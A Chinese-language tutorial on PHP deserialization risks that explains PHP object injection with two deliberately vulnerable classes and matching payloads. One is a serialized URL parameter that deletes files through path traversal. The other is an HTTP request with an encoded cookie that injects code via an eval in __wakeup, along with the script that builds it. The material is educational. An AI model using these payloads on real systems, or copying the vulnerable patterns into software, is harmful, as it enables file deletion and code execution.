反序列化的安全問題
使用 unserialize
函式從使用者輸入反序列化資料可能很危險。
來自 php.net 的警告
警告不要將不受信任的使用者輸入傳遞給
unserialize()
。由於物件例項化和自動載入,反序列化可能導致程式碼被載入和執行,惡意使用者可能能夠利用它。如果需要將序列化資料傳遞給使用者,請使用安全的標準資料交換格式,如 JSON(通過json_decode()
和 json`_encode()`)。
可能的攻擊
- PHP 物件注入
PHP 物件注入
PHP 物件注入是一個應用程式級漏洞,可能允許攻擊者執行不同型別的惡意攻擊,例如程式碼注入,SQL 注入,路徑遍歷和應用程式拒絕服務,具體取決於上下文。在將使用者提供的輸入傳遞給 unserialize()
PHP 函式之前未正確清理時,會發生此漏洞。由於 PHP 允許物件序列化,因此攻擊者可以將特殊的序列化字串傳遞給易受攻擊的 unserialize()
呼叫,從而導致任意 PHP 物件注入應用程式範圍。
為了成功利用 PHP Object Injection 漏洞,必須滿足兩個條件:
- 應用程式必須具有一個實現 PHP 魔術方法(如
__wakeup
或__destruct
)的類,可用於執行惡意攻擊或啟動“POP 鏈”。 - 必須在呼叫易受攻擊的
unserialize()
時宣告攻擊期間使用的所有類,否則必須支援此類的物件自動載入。
示例 1 - 路徑遍歷攻擊
下面的示例顯示了一個帶有可利用的 __destruct
方法的 PHP 類:
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
在此示例中,攻擊者可能能夠通過 Path Traversal 攻擊刪除任意檔案,例如請求以下 URL:
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
示例 2 - 程式碼注入攻擊
下面的示例顯示了一個帶有可利用的__wakeup 方法的 PHP 類:
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
在此示例中,攻擊者可能通過傳送如下 HTTP 請求來執行程式碼注入攻擊:
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
通過以下指令碼生成 cookie 引數 data
的位置:
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));